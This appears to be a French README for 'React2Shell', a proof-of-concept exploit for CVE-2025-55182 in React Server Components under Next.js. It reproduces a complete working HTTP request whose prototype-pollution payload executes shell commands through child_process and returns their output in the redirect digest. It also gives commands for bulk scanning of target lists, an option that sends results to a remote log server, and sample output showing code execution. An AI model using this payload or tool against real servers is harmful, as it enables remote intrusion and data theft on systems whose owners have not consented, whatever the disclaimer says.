
React2Shell est une preuve de concept d'exploitation pour CVE-2025-55182 affectant les implémentations vulnérables de React Server Components (RSC) dans Next.js
██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║
██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║
██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██║ ██║███████╗██║ ██║╚██████╗ ██║ ███████╗███████║██║ ██║███████╗███████╗███████╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
Écrit par INDRA
Ce projet est fourni à des fins éducatives, de recherche en sécurité et de tests d'intrusion autorisés uniquement.
L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce logiciel.
Utilisez cet exploit uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.
React2Shell est un exploit de preuve de concept pour CVE-2025-55182 affectant les implémentations vulnérables des composants serveur React (RSC) dans Next.js.
L'exploit envoie une requête multipart spécialement conçue qui abuse du flux de désérialisation vulnérable et extrait la sortie des commandes via la réponse de digest de redirection de l'application.
En cas de succès, l'exploit affiche la sortie de la commande exécutée directement dans le terminal.
Python 3.8+
Installer les dépendances :
pip install requests urllib3
.
├── exploit.py
└── README.md
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
python exploit.py -h
python exploit.py -u https://target.com
targets.txt
target1.com
target2.com
target3.com
Exécuter
python exploit.py -f targets.txt
python exploit.py -u https://target.com -o results.txt
python exploit.py -u https://target.com -l https://your-log-server.com
python exploit.py -f targets.txt -o results.txt -l https://your-log-server.com
🚀 42 cibles chargées (HTTP + HTTPS)
🔥 [VULNÉRABLE] https://target.com/
💀 Sortie de la commande →
uid=1000(node) gid=1000(node) groups=1000(node)
──────────────────────────────────────────────
L'utilisation non autorisée de ce logiciel contre des systèmes sans permission peut violer les lois locales, nationales ou internationales.
L'auteur n'est pas responsable de toute mauvaise utilisation.
Bonne chasse 🕷️
| Version | Statut |
|---|
| 19.0 | ⚠ Vulnérable |
| 19.1.0 | ⚠ Vulnérable |
| 19.1.1 | ⚠ Vulnérable |
| 19.2.0 | ⚠ Vulnérable |
| 19.0.1 | ✅ Corrigé |
| 19.1.2 | ✅ Corrigé |
| 19.2.1 | ✅ Corrigé |
| Option | Description |
|---|
-u | URL cible |
-f | Fichier contenant les domaines cibles |
-o | Enregistrer les cibles vulnérables localement |
-l | Envoyer les résultats vers un serveur de journalisation distant |
-h | Afficher l'aide |